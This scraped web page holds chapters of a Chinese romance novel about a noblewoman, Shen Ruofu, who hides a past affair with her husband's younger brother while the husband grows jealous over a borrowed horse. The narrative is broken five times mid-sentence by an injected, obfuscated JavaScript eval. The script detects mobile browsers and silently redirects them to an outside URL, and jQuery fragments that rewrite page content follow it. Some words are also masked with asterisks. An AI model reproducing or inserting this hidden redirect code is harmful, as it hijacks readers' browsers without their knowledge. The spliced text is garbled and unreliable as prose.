沈若芙心里其实也不是全然没有怀疑,分析道:“他原本就是个风流成性,喜新厌旧的男人,从前是我心存妄想,才把他当块宝。俗话说,泰山易改本性难移,他能抛弃我一次,就能有第二次。” 用抛弃来形容不太妥当,但在外人看来也差不多。 其实比起相信江辞年对自己情根深种,沈若芙更认为他是想玩点有违伦理的东西。 他这人从小万花丛中过,普通的感情已经不能让他产生乐趣了。 前世江辞年纠缠她是因为他大哥走了,她成了寡嫂,这一世他大哥还活得好好的,纵使他想做点什么,也要顾忌着他大哥。 困难一多,江辞年发现这条路行不通,自然就放弃了。 飞雪半信半疑地:“如果真的是这样,那就再好不过了。” 沈若芙接着思索。她不可能因为江辞年说了几句反省的话,就转变态度与他相好,所以他没道理欺骗她。他要真的还没放下,继续像上次一样威胁她不好吗? 何需大费周章的做戏? 想到这,沈若芙的疑虑又消除了一点。 晚上江辞镜从官署回来,沈若芙就跟他说了今日家里发生的事。 江辞镜十分惊讶,当即就要去找父亲询问,被沈若芙拉住。 “别急,饭菜都烧好了,吃完晚饭再去吧。你见完你父亲,还要去看你弟弟,回来菜都凉了。” 江辞镜没打算去看江辞年,但还是听话地坐了回去。 “这个时候去看他,今晚怕是要被他气得睡不着觉了,我是要去和父亲商量如何处置他。” 冬春换季,正是容易干燥的时候。沈若芙下午就让人熬了川贝梨子水,这会儿正好让丫头端上来给江辞镜降降火。 江辞镜与齐国公父子俩在很多事情的看法上都很一致,生气也在沈若芙的意料之中,相较之下,江辞年就是个异类。 趁江辞镜喝梨子水的功夫,沈若芙劝道:“此事四弟虽有做的不对的地方,可二弟此举也实在不该。我想四弟之所以会那么生气,是因为在背后害他的人是他的亲堂哥吧。” “像那个**他的御史,四弟可曾说过他半句不是?” 江辞镜道:“他生气归生气,**就是不该,江家从没有哪个小辈做过这样的事,更别说把人打得头破血流。父亲若不当众打他一顿,事后要如何与二叔他们交代?” “至于二弟犯了错,自有二叔和家规处置他,哪里轮得到他一个做弟弟的动手?” 沈若芙握住江辞镜的手背:“你说的都对。可现在父亲已经教训过他了,二叔那边也没有说什么,这事就这么算了吧。” 江辞年好不容易正常一点,沈若芙有些担心他继续受刺激,做出什么不理智的事来。 谁都不知道,江辞年是因为她才从苏州跑回来的,说白了,在江辞年看来,他是为了她才丢掉这顶官帽。 现在他心里本来就很不好受了,若江辞镜此时再去责骂他惩罚他,他一气之下,当着江辞镜的面,把他们的事说出来怎么办? “父亲当真教训过他了?”江辞镜问。 沈若芙有种被看穿了心思的感觉,默默闭上嘴。 江辞镜:“当初裴首辅想举荐四弟去监修水渠,我就不同意。四弟年纪轻,性子不够沉稳,应该在六部老实观几年政再出外差才对。” “可裴首辅因父亲对他有知遇之恩,四弟说想去长长见识,裴首辅就让他去了,说白了是跟在知府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162867|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边蹭功劳。父亲对此心知肚明,可依旧默许了。你可知为何?” 沈若芙想了想:“父亲是希望四弟能早点成长起来,你们兄弟俩在朝中互相有个扶持。” “所以,纵使四弟搞砸了,父亲也不会真的怪他,反倒可能还在心里埋怨二弟害四弟丢了官位。可真要算起来,四弟才是那个不占理的。” 江辞镜语重心长地道:“我要惩处他,是想让他知道,既然他要仰仗裴首辅的帮扶,就要做好被人妒忌使绊子的准备,别得了便宜还卖乖。就算是一家人,也没有要求别人永远都不眼红的道理。” 沈若芙深思片刻,道:“你的弟弟,你想怎么教导,我可不管,我不过是把我的想法告诉你罢了。” 江辞镜微笑道:“是么,我还以为你心疼他呢。” 沈若芙心里一惊,眼神飘忽:“我为何要心疼他?” 江辞镜本没旁的意思,就算是心疼,也分很多种心疼。见妻子竟然愣住了,遂起了玩笑的心思: “他长得好看,说话又好听,打小就讨女人喜欢,亲戚朋友里,不管是年龄大的长辈还是年龄小的姑娘,都喜欢亲近他。在这点上,他很像我父亲,不过他没有我父亲的威严,姑娘们都不畏惧他,敢与他随意打闹说笑,所以还要更胜一筹。” “我怎知,你是不是也和她们一样?” 沈若芙表情僵硬,垂下眼睛:“那也与我无关,我是他长嫂,今日只是出于礼节才去探望他。倒是你,没事跟我说什么讨不讨喜的,难道你在怀疑我吗?” 江辞镜自然不可能随意怀疑自己的妻子,见她生气了,连忙搂住她的肩膀,轻哄道:“只是和你开个玩笑罢了,都是我的错。好了,我们吃饭吧。” 江辞镜叫了丫头去小厨房传晚饭。 等丫头走了,沈若芙忍不住郁闷地说:“……我瞧他也不见得有你说的那么人见人爱罢。今日我去他那边,就撞见三小姐打了他一顿呢,听说他跟三妹的关系从小就不好……” 第一百九十二章 我那人美心善的嫂嫂 话一说完,沈若芙就后悔了,江辞镜都不说了,她还继续提,有种因为心虚,所以急着要辩解的感觉。 好在江辞镜似乎没有多想,和她讲起了江辞年和江淮雪这对冤家的纠葛。 原来前些年江淮雪跟江辞年的关系还是很好的,他们年纪相仿,小时候经常在一起玩。 后来江辞年看上了江淮雪一位长相貌美的闺中密友,每次三个人一起出去玩,江辞年就对着人家各种献殷勤,忽略了江淮雪。 那时江淮雪还是十几岁的闺阁少女,正是喜欢众星捧月的时候。她感觉自己被冷落了,不如好朋友受欢迎,就不太同意他们在一块,几次拐弯抹角的嘲讽江辞年奴颜婢膝的样子上不得台面,随便一个小姑娘都能把他迷得神魂颠倒。 江辞年一生气就说:“你长的那么丑,当然不懂我为何会喜欢她。” 这话对于一个心思敏感,又自尊心强的姑娘来说,可谓是天大的打击。 从那以后,江淮雪就发誓要跟江辞年势不两立。 所以说起来,这是一个“因爱生恨”的故事。 …… 吃过晚饭后,江辞镜去和父亲商讨了一番,决定让江辞年到祠堂罚跪三日,禁足一月,以示惩戒。 第二天江辞镜下值后,便去了冠云堂,将他和父亲的决定告诉弟弟,并希望弟弟能好好反省自己的过错。 原以为,江辞年在听到这个惩处后会急得一蹦三尺高,没想到,他却只是淡淡地应了声知道了。 江辞镜被弟弟一反常态的模样怔住了:“你就没有什么想说的?” 趴在床上的江辞年歪头瞥了哥哥一眼,淡淡道:“我若说我有意见,难道你们就不罚我了?” 江辞镜抿唇不语。 江辞年打量着哥哥:“连我嫂嫂的求情对你都不管用,我的话能管用?” 江辞镜顿了顿,疑惑道:“你怎知你嫂嫂昨夜为你求情了?” 江辞年眼中满是笑意:“猜的。我嫂嫂人美心善,可不像大哥你这般冷血无情,对自己亲弟弟都能下得去狠手,昨儿个还特地来给我送药酒了,替小叔子求个情有何稀奇?” 嫂嫂嫂嫂,分明是再正常不过的称呼,却被弟弟叫出了一种腻歪的感觉。 鬼使神差的,江辞镜想到了那本名叫《宛娘与铁匠》的话本,里头的王铁匠将李宛娘据为己有后,依旧时常一口一个嫂嫂地叫,仿佛做这种违背伦理纲常的事能给他带来快感似的。 虽然知道没什么,江辞镜心里还是有点不舒服。 “和你说过多少次,莫要油嘴滑舌,对你嫂嫂不敬。你非要逼我数罪并罚是不是?” 江辞年嗤了一声:“大哥真小气,我夸嫂嫂人美心善,大哥也要来教训我。我不说了还不成么?” 江辞镜不再与他多费口舌,转身离去。 …… 回锦明堂的路上,江辞镜越想越觉得别扭,有些后悔没再多罚江辞年跪几天。 反正每次江辞年被罚,总能想方设法的偷懒耍滑,怎么罚都不心疼。 沈若芙正坐在窗边做女红,听到一道沉稳的脚步声,抬头一见是江辞镜,便将绣棚放到一旁,起身为他更衣。 “今日怎么回来晚了?” 江辞镜垂眼盯着妻子莹白如玉的脸,将对江辞年的惩处告诉了她。 沈若芙什么都没说,可不知道是不是他看茬了,沈若芙的眸光黯淡了一瞬。江辞镜正想看得更清楚一些,沈若芙却拿着他的衣物转过了身。 江辞镜连忙伸手抓住沈若芙的胳膊,又在她回头时,被自己的举动吓了一跳。 “怎么了?” 伴着沈若芙疑惑的目光,江辞镜心虚地松开了手。 “没什么。” 江辞镜的余光瞥见搁在窗台下的绣筐,急中生智地问:“怎么突然做起女红来了,你不是最讨厌做女红吗?” 沈若芙眉目含笑:“你不是说等开春要带我去狩猎吗?正好最近闲来无事,我打算亲手做两副马鞍,给潇竹和惊风一人一副。届时做好了,你可不许嫌弃。” 说完,沈若芙警告似的戳了戳他的胸膛。 江辞镜心下一动,握住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168975|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻子的手,玩笑道:“那你好好做,你做成什么样我都是不嫌弃你的,惊风可就不好说了。” 沈若芙莞尔一笑,捧起她夫君的俊脸,踮起脚尖,在他的唇上落下一吻。 …… 夜里,沈若芙被迫大汗淋漓一番后,正准备入睡,刚闭上眼,忽然听身旁的男人说: “四弟解禁后,你不必再像昨日那般去看望他,免得他得寸进尺。” 从某些方面来说,她这个长嫂的态度代表了他这个大哥的态度。 所以,江辞镜觉得,他这个要求没有什么不妥的。 面朝里侧的沈若芙,疑惑地皱起眉头。 江辞年还有一个月才解禁呢,为何现在就跟她说这些?难道他在怀疑什么? 应当不会吧……她又没做什么,总不至于是因为她昨晚去探望江辞**,江辞镜可没有那么小气。 沈若芙飞快地胡乱思索。江辞镜没听见妻子应答,偏头看她的背影:“睡了?” 沈若芙忙道:“没呢。我记住了。” 江辞镜听着妻子明显有些沉闷的声音,若有所思。 …… 对于沈若芙来说,江辞年被禁足也有禁足的好处,起码接下来一个月,都没有尴尬的碰面了。 倒是江老夫人很心疼自己孙子。 可说回来江辞川也是她的孙子,她若光明正大的偏心另一个孙子,这个孙子怕是要怪她了。 江老夫人只能去找沈若芙帮忙,几次拐弯抹角的和沈若芙提起江辞年,说他年前才一个人孤零零的在苏州养了好几个月的伤,好不容易回来了,祖孙两人还没好好说过几次话呢,又要罚他禁足一月,怪可怜的。 话里话外,都是希望沈若芙身为长嫂能到江辞镜跟前去求求情,搞定了江辞镜,就是搞定了齐国公。 沈若芙可不敢再给江辞年求情。 上回她随口提了一嘴,明明说得很谨慎委婉,江辞镜就问她是不是心疼弟弟。沈若芙发现,胸膛大,并不代表胸襟宽广。江辞镜这人表面上看着有容乃大,其实还挺爱吃醋的。 第一百九十三章 五少爷 江老夫人无法。只能私下偷偷摸摸的亲自给孙子求情,勉强把禁足从一个月缩短到了二十天。 二十天一晃眼就过去了,就在家里人以为江辞年定不会老老实实的禁足的时候,他竟然让所有人都吃了一惊。尤其是沈若芙。 她听说江辞年以前也不是没有被禁足过,比这时间更长的都有,可他白天安安静静,到了夜里,隔三差五就要翻墙出去玩乐,然后被捉回来,再跑出去,再捉回来…… 为着此事,齐国公在他十岁那年,就把他靠近冠云堂的那面院墙加高了一些。 不仅如此,江辞年还在禁足期间,跟小厮要了全套的四书五经。 据亲眼目睹过当日江辞年和江辞川打架的五夫人**瑛说,四少爷是被二少爷那句:“有本事,你和家里其他几个兄弟一样,靠自己科考入仕,我保证再不说你一句什么。”给刺激到了。 决心要参加科考呢。 在家人看来,江辞年自幼在别的方面都很优秀,也并非不适合当官,却唯独不是科考的料子。 同样躲在一旁,目睹了那场大战的五少爷江辞舟对此有不同的意见。 “依我看,四哥就是闲着无事,一时兴起。你没听见他后来说了什么吗?他说他能让裴首辅心甘情愿的帮他,那是他的本事,怎么不算靠自己了?有本事,让二哥也去求一个裴首辅瞧瞧。” 沈若芙转头看向方才还在园子里遛弯,此刻却悄无声息地凑到女眷这边来听她们闲聊的五少爷,在心里表示赞许。 家里几个兄弟,除了江辞镜,和江辞年关系最好的就是江辞舟,自然也最了解他。 这才是江辞年的作风。 江辞舟无意间对上沈若芙的目光,心里咯噔一下,立即闪避开。 沈若芙顿了一顿,忽然想起什么,回过头。 **瑛早已和丈夫在自己屋里争辩过一通,谁也没说服谁,懒得再多说。 “行吧,你和他关系好,你说了算。” …… 和妯娌们逛完园子,沈若芙带着丫头走在回锦明堂的游廊上,一转弯就迎面碰上了江辞舟。 江辞舟也没想到自己都提前离开好一会儿了,还能在这儿碰见大堂嫂,又没有别的路可走,只能硬着头皮朝她走过去。 “大嫂安好。”江辞舟躬身行礼。 沈若芙微笑道:“五弟不必多礼。听说五弟前天刚从武当山回来,那边风景如何?” “挺,挺好的,山好看,水也好看……” 平日里还算机灵的公子哥一到沈若芙跟前,不仅目光闪躲个不停,说话也变结巴了。 家里谁都不知道,江辞镜和沈若芙成亲这四个月以来,谁的日子最煎熬。 江辞舟和江辞年年纪相仿,两人时常一同出去玩乐,故而他一直都知道四哥有一个姓沈,闺名若芙的相好,也偶然瞧见过她几次。 后来元康帝赐婚,江辞舟听夫人说大哥要娶的姑娘姓沈,出身不高,也没放在心上。毕竟这全天下姓沈的姑娘多得是。 待到敬茶那日,江辞舟眼睁睁地看着那张和四哥的旧相好长得一模一样的脸走到自己跟前,才知道发生了什么天大的巧合,一声“大嫂”都到嘴边了,却怎么也喊不出口。 当天下午,江辞舟打听到自己的先生要去武当山拜访无量**,需要一名学生陪同前往,当即决定“抛下”刚出月子的妻子和出生两个月的儿子,飞快地收拾衣物,愣是赶在天黑关城门前出了城去投奔他住在郊外的先生。 可把妻子气得够呛,一直追着他骂到大门外。 俗话说得好,躲得过初一躲不过十五,四个月过去了,还是没能躲过这一天。 沈若芙瞧出了对方内心的慌张,扫视一圈四周,小声道:“五弟不必紧张。” 江辞舟听到大嫂温温柔柔的声音,心里竟然真的冷静了一些。 沈若芙继续说:“从前是我年少不知事,如今既已遇良缘,过去的事,就让它过去吧,还望五弟能多担待我一些。” 良缘……江辞舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168976|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一喜,抬起眼眸:“大嫂已经不喜欢我四哥了?” 沈若芙一怔,忽而开怀一笑。“你四哥喜欢过很多姑娘,也有很多姑娘曾真心喜欢过你四哥,可你曾见过她们哪个在出嫁以后还回过头来纠缠你四哥的?” 江辞舟仔细想了想,摇摇头:“纠缠倒没有,你情我愿却是不少。不过四哥并非那种道德败坏之人,通常私通个一两次就算完了,不会真的让姑娘为他做出珠胎暗结的事来。” 沈若芙:“这不就对了。” 江辞舟思索片刻,半信半疑地:“大嫂当真已不再念着我四哥了,我知道我大哥是这世上最完美的男人,可对于女人来说,我四哥似乎要更讨人喜欢一些。” 沈若芙无奈地:“我发誓,我如今心里只有你大哥一个。” “那就好,这我就放心了。”江辞舟重重地松了口气,解决了心事,他的脸上也露出笑容。 “大嫂你可不知道,当初你和四哥分开后,他一直跟我念叨说你深爱着他,对他念念不忘。还说你每隔两三天就跑到他面前跪着,哭着求他不要抛弃你。可他早就不喜欢你了,看都不看你一眼。” “所以你嫁过来的时候,我一直以为你还喜欢我四哥,可把我愁坏了。生怕你哪天按耐不住和我四哥私通被发现,大哥会牵连到我身上。” 沈若芙脸都白了,恨恨地咬紧了牙关,唇角却还保持着微笑。 要不是看在江辞年疑似改邪归正的份上,不想惹麻烦,沈若芙真想抽他几个耳光。 “那你现在不用再担心了。” 江辞舟感激地点点头。 沈若芙:“五弟妹那边……” 江辞舟拍拍胸脯:“大嫂放心吧,就算有人把刀架在我脖子上,我也不会把你和四哥的事说出去的。” 除非那个人是大哥,或者大伯,或者祖母……那他就没办法了。 听他这么说,沈若芙终于也松了口气。 话说开了,两人互相行过礼,各自往自己的院子行去。 第一百九十四章 他说想要你就借了 过了惊蛰,沈若芙射箭的准备也练得差不多了。 这天趁着中午出了大太阳,天气还算暖和,沈若芙决定到马场去溜溜潇竹,顺便把新做的马鞍给它套上。 换上亲手缝制的漂亮马鞍的潇竹,看上去比以前更加帅气了。 沈若芙迫不及待地想骑上去试一试新马鞍舒不舒服,忽然瞧见不远处,江辞年骑着马朝她慢悠悠地跑了过来。 他骑的是一匹成色十分普通的棕色马,似乎有些年纪了,四条腿跑起来不太利索,连声音都透着一股年老的无力感。 跑近了,沈若芙就发现,江辞年意外的没有在目光直勾勾地放在她身上,而是目不转睛地盯着她的潇竹。 这并没有什么好奇怪的,自打沈若芙拥有潇竹以来,在家里其他人脸上都看到过这种表情。 沈若芙又暗暗自豪了一把。 “大嫂也来骑马,这么巧。”江辞年在离沈若芙三尺远的地方勒停马儿,下了马背。 因他这二十来天还算安分,全然如他当初所说的那样,沈若芙心里虽存有警惕,但此时看他还算顺眼,点了点头。 江辞年:“听说大嫂骑的这匹马是陛下赏赐的汗血宝马?” 沈若芙应了声“是”。 江辞年的眼中流露出几分艳羡:“大哥可是爱马之人,竟然舍得把这么好的马给大嫂,不像我,想骑一骑大哥的惊风,都要看大哥的心情。” 沈若芙看了一眼他牵在手里的老马,问:“四弟出来骑马,为何选了这样一匹马?” “这是父亲的汗血宝马白义,今年已经十九岁了。”江辞年疼惜地摸了摸马儿已经不再发亮的鬃**,介绍道。 沈若芙很快就想起来了,只是这白义,应该在马棚里颐养天年了吧。怎么牵出来了。 江辞年接着道:“说来不怕大嫂笑话,我们父子三人,父亲和大哥都有陛下赏赐的好马,只有我一个人没有。他们俩又宝贝得很,知道我眼馋也不肯经常借给我骑一骑。” “今日他俩都出门了,我想硬抢也抢不了,只能把父亲不要的牵出来遛一遛。不过不能骑快了,白义年纪大了,骑快了对它身体不好。” 沈若芙想了想说:“家里好马多得是,四弟何必拘泥于这几匹汗血宝马。” 江辞年反驳道:“你懂什么?你得了匹好马,还知道要给它配一个好鞍呢,我身份这么尊贵的人,怎么就只配骑下等的马了?” 什么下等的马,从前两人出去骑马的时候,也没见他嫌弃过马不够好……这会儿倒伤春悲秋上了。 沈若芙难以理解公子哥的烦恼,又觉得像江辞年这样会直接对她说出“你的家世只配给我做妾”的矜贵少爷,会嫌弃马不是最好的,是在情理之中的事。 他归他烦恼,沈若芙还忙着要遛马呢。 “行吧,那四弟接着慢慢溜,我带潇竹去街上跑一跑。” 终使现如今两人的关系缓和了,和江辞年在一个马场跑马,她还是觉得怪怪的。 沈若芙扶好马鞍,一脚踩在马踏上,正要上马,忽见江辞年眼睛一亮。 “要不,大嫂将潇竹借给我骑一骑吧?” 沈若芙想也不想就拒绝了:“不行。” 潇竹自打来了这个家,就没被除她和江辞镜以外的成年人骑过。 江辞年岂是那么容易放弃的。他站在潇竹的另一边,仰起脑袋,用一双充满渴望,又真诚的大眼望着沈若芙。 “求求你了大嫂,这么好的汗血宝马就在我跟前,我却只能看,不能骑,多难受。你给我过半个时辰的瘾,我就不用再折腾白义它老人家了。” 沈若芙动摇了一点。 他是江辞镜最在乎的弟弟,如果她要和江辞镜过一辈子,不可能真的和江辞年如同仇人一般,老死不相往来。 如果只是把他当做丈夫的弟弟,那借给他骑一会儿,应该也没什么吧? 江辞年见她不说话,退让一步:“或者两刻钟?” 沈若芙还是不说话。 “一刻钟,就骑一刻钟。”江辞年焦急得都要上火了,“大嫂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174246|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真的不能再短了!” 沈若芙终究是在他的恳求下软了心肠,松开了握在手中的缰绳。 “好吧,一刻钟就一刻钟。我让人看着时间,时间到了,你马上停下来。” 江辞年大喜过望:“谢谢大嫂,大嫂对我简直比我大哥还好。” 沈若芙受不了他的油嘴滑舌,却不可能像他大哥那样张口教训他。只能学他大哥带着端肃的神色,往后退了几步。 江辞年兴奋地跃上马背,和沈若芙颌首示意,连一把年纪被他拖出来挨冻的白义都不管了,一挥马鞭,快乐地在马场上驰骋起来。 沈若芙吩咐小厮把白义牵回去,然后带着丫头到马场里供人休息的棚子底下坐着。 有小厮端了热茶和点心来,沈若芙便一边喝茶,一边和丫头说闲话。 偶尔几次抬起头远远瞧见江辞年骑在马背上的背影,竟瞧出了一丝以前从未见过的孩子气。 估摸着时间差不多了,沈若芙站起身,正准备差小厮去喊江辞年回来,一扭头,忽然瞧见江辞镜来了。 沈若芙心中一喜,笑着朝他走过去:“世子爷今日回得早。” “官署没什么事,就提前回来了。”江辞镜牵过沈若芙的手,浅笑道,“听下人说你来骑马了,过来陪陪你。潇竹呢?” “在马场上呢。”沈若芙朝马场上努了努下巴,示意他去看他那高兴得好像这辈子第一次骑马的弟弟。 江辞镜顺着她的视线看去。当他看见正骑着潇竹撒欢的人正是他的好弟弟,不由脸色一僵。 沈若芙还没察觉到他的神色变化,解释道:“适才刚把马牵出来,就碰见了四弟。他缠着我说想试试这匹汗血宝马,便借给他骑了。瞧他高兴的那样,你们男人甭管是文官还是武将,果然都对好马情有独钟。” “他说想骑,你就借给他了?” 江辞镜从握着妻子的手变成了抓。尤其是在看见弟弟底下坐的马鞍,似乎还是妻子花了好些天的时间亲手做的那个以后,手上的力气又重了些。 第一百九十五章 吃醋 沈若芙察觉到了他的不悦,视线从两人紧握的双手,转移到他的脸上。 “他是你弟弟……” 沈若芙开了口就不敢再说下去了。因为她在江辞镜的眼中看见了怒意。 不多,但对沈若芙来说足够吓人了。 她连忙道:“我是看他稀罕潇竹稀罕得紧,才把潇竹借给他,初姐儿和七少爷、九少爷他们都上马背玩过呢。” “他们是小孩子,不一样。” 江辞镜偏头望进沈若芙的眼底,在触到那抹惊惧后,迅速挪开。他先差了小厮去把四少爷叫回来,再跟沈若芙说: “总之,潇竹是我送给你的马。要是有一天,我把你精心送给我的礼物,随便丢给别人赏玩,你会如何想?” 沈若芙沉默地低下头。 抛开江辞年是江辞镜的弟弟不谈,她就是觉得,潇竹这么宝贝的马,别人喜欢它,想短暂的拥有一会儿,是情理之中的事。 而江辞镜在乎的是,潇竹是他送给她的礼物,是他在对她怀着莫大的愧疚,却不知该如何向她坦白时,送给她最重要的一件礼物。 他们在马背上度过了那么多愉快的时光,江辞镜悉心保护着这份独属于他们的回忆不被旁人染指,可她呢? 她不仅毫不犹豫的把马儿往外借,还借给了一个有着沾染过无数匹马的屁股的好弟弟。 之前是玩笑,现在江辞镜真的开始怀疑妻子是不是也喜欢上了弟弟的油嘴滑舌,才会脑子不清醒,容易心软…… 沈若芙轻轻晃了晃江辞镜的手,软声道:“世子爷,都是我的错,我不该把马借给他,我……” 此时,前方传来一声响亮的“大哥”。 江辞年骑着潇竹意气风发的来到夫妻俩面前,坐在马背上朝江辞镜笑着道:“这进贡的汗血马宝就是不一样,比我先前骑过的每一匹马都要好。” 江辞镜目光冰冷:“你要玩到什么时候?赶紧下来。” 江辞年被训了也不在意,仿佛根本没看出两人降到冰点的气氛,翻身而下,一脸的酣畅淋漓。 他抚摸着马儿漂亮的前额,意味深长地道:“大哥你说,这人要是吃过好的,知道了什么是好,还能吃的下坏的吗?” 江辞镜严肃地看他一眼,走上前,将他摸马的手拍开,拿过缰绳,道:“知道不能,就干脆不要碰好的,省得今后念念不忘。” 说着,转身将马儿交给小厮,让小厮牵到马厮里去。 江辞年对着江辞镜的背影不服气的道:“大哥你这话说的,大家都是一家人,凭什么就你能吃好的,我却不能?” 如果说,前头那句话还能算是巧合,后面这句则让沈若芙难以抑制的心头一颤。 她猝地看向江辞年。 江辞镜显然也察觉到了不对劲,他皱起眉头,顿了一顿,回头看向弟弟。 然而江辞年神色寻常,整个人都十分光明磊落,面对哥哥质疑的眼神,也没有躲闪,仿佛适才突然冒出来的念头只是自己多想了。 江辞镜收回目光,向沈若芙走去:“家里几匹宝马,都是你大哥和你父亲靠立功得来的,你想吃好的,就自己去争取,别成天惦记别人的。” 说完,牵起沈若芙的手离去。 江辞年站在原地,反驳道:“大嫂是自家人,怎么能算别人?” 此话一出,沈若芙立即感觉江辞镜握着她的手收紧了,再用余光看眼他黑沉沉的脸色,简直想用绣花针把江辞年的嘴给缝上,让他别再说了! 这人是想害死她吗? 回锦明堂的路上,夫妻俩皆默不作声,好像又回到了刚成亲那会儿。 只是那时是他俩谁都不想说,现在却是一个不想说,一个不敢说。 沈若芙不喜欢这种氛围。 于是,在经过抄手游廊时,也学着他的样子,伸长了脖子往园子里眺望,故作惊喜地道:“瞧,那儿有朵赵粉,真漂亮。” 可她等了好一会儿,身旁的男人也没有顺着她的视线看过来,而是依旧冷淡的目视前方,淡淡道:“沈若芙,我现在心情不好,你别再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174247|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹我生气。” 沈若芙抿紧唇不说话了。 她怎么就惹他生气了? 借马的事,她都已经道过歉了,难道他真的要因为这点事和她闹别扭吗? 沈若芙心里很难受。 回到锦明堂,沈若芙就把给惊风做的马鞍拿出来,送到江辞镜跟前:“今天早上刚做好的,哪天有空,给惊风试试合不合马身吧。你要不想试也行,我的手艺肯定是没有绣娘好的……” 要是以前,江辞镜肯定很快就伸手去接了,然后很宝贝的将它收起来,说不定,还会舍不得拿出来用。 就像沈若芙前阵子给他绣的那方帕子。 可现在,江辞镜却只是看了一眼,问道:“你的那副呢?” 沈若芙怔怔地抬眼看他,忽然想到什么,放下马鞍,走到门边叫来飞雪,当着江辞镜的面吩咐道:“你去一趟马厮,把我给潇竹新套的马鞍换下来,换成原来的那个。” 飞雪应了声“是”,赶忙去了。 吩咐完,沈若芙转头看向江辞镜,那眼神好像在说,你满意了吧? 花了半个月做的马鞍,一次都没用过呢,就被迫束之高阁了。 江辞镜接受到她的暗示,道:“你若真心疼自己的心血,就不要将它借给旁人。” 沈若芙揣着一肚子闷气,走到罗汉床上坐下,撇过脸说:“不借了,今后甭管四弟来找我借什么,哪怕是被人说我们手足间关系冷漠,都再也不借了!” 江辞镜听到这带着怒气的声音,闭上眼深吸了口气,沉默了片刻才回过头,却瞧见妻子的眼中竟浮起了盈盈泪光,心头那点火气,突然间就烟消云散了。 江辞镜走到沈若芙身边坐下,沈若芙立即侧身往旁边挪了挪。只是罗汉床就这么大,她这一挪,就挨到了栏杆,江辞镜一追上来,她便再无处可逃。 “好端端的,怎么还掉眼泪了?” 沈若芙埋怨道:“你莫名其妙同我发脾气,给我脸色看,还不许我掉眼泪了?江辞镜,你真是不可理喻。” 第一百九十六章 求大哥别生嫂嫂的气 江辞镜下意识:“我何时同你发脾气了?” 他不过就是希望她能在乎一下他的想法,意识到此事对于他的重要性,拿出个态度来,不要敷衍了事,才冷着脸稍微有些严肃地和她说了几句话。 好吧,他好像确实和她发脾气了…… 江辞镜拉过她的手,放到自己的手心里,低下头柔声道:“是我不好,夫人别生气。” 沈若芙咬着下唇扭过头,看着他还算诚恳的表情,却涌起一阵委屈:“他是你弟弟,我是把你当作我最亲近的人,我的丈夫,才想对你弟弟好的。你以为随便个什么人来,我都会借吗?” 江辞镜试探地问:“所以我现在在你心里,不是和你外祖母三妹妹同等亲近,而是更加亲近的人了?” 沈若芙一把将手抽出来,眉头微蹙:“都什么时候了,你还在比较这些。你可明白我的意思?” “谁让我是后来的那个,自然要计较了。”江辞镜将她搂到怀里,摸着她的肩膀,温柔地道。 “你的想法我都明白,可我也希望你能在乎我的想法。辞年是我的亲弟弟不错,该对他的时候我会对他好,有些绝不该被他沾染的,就是他说破了天,我都不会答应。你可能理解?” 沈若芙点点头,含在眼里的那包泪,终究是还没来得及落下,就**辞镜擦去了。 话说开了,夫妻俩又抱在一起说了会儿话。 江辞镜还是像往常一样轻声细语的,会亲亲她的额角和脸蛋。沈若芙也相信他真的没有**辞年的那几句话勾起了疑心。 